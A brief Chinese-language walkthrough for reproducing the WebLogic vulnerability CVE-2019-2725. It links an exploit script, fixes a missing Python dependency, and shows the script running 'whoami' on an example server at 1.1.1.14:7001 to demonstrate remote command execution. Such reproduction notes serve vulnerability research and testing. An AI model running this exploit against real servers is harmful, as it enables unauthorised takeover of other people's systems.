weblogic漏洞复现

 

脚本下载：https://github.com/TopScrew/CVE-2019-2725

 

在执行命令：　　python3 weblogic-2019-2725.py　　时，会报错。

　　由于py依赖的第三方库请求　　logzero

　　执行命令　　sudo pip3 install logzero　　即可。

 

执行　　python3 weblogic-2019-2725.py

 

（命令回显）执行　　

python3 weblogic-2019-2725.py 10.3.6 http://1.1.1.14:7001 whoami